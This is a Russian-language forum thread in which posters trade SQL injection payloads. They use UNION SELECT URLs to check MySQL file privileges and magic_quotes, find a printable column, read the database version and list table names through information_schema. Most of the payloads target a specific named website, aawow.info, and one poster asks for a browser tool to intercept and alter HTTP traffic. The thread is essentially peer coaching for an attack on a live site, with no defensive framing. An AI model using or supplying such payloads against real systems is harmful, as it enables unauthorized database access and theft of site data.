Например:
http://google.com/news.php?id=0+union+select+1,File_priv,3+from+mysq l.user--

так мы узнаем File_priv

magic_quotes = off или On

http://google.com/news.php?id=0+union+select+1,'p',3+from+mysq l.user--

если результатом будет буква p тогда M_Q=off если же будет ошибка , тогда M_Q=on

А если колонки не подобрал.....а если запрос не закрыл...(и ещё пару десятков вариантов)и вылезла ошибка..значит MQ=On? думай что пишешь.

скажите есть ли виждет для оперы, с помощью которого можно перехватывать http пакеты и изменять их.

не могу найти принтабельный столбец, хотя вроде их всего 1 )

http://www.aawow.info/question2.php?id=-31+union+select+1--

хелп)

http://www.aawow.info/question2.php?id=-31+union+select+version()

В тайтле смотри 5.0.81-community-log

пытаюсь названия таблиц вывести таким запросом: http://www.aawow.info/question2.php?id=-31+union+select+table_name+from+information_schema .tables+where+table_schema=%27aawowinf_wow%27

в ответ - ошибка.....

http://www.aawow.info/question2.php?id=-31+union+select+table_name+from+information_schema .tables+where+table_schema=0x6161776f77696e665f776 f77

Может стоит немного почитать статьи ? (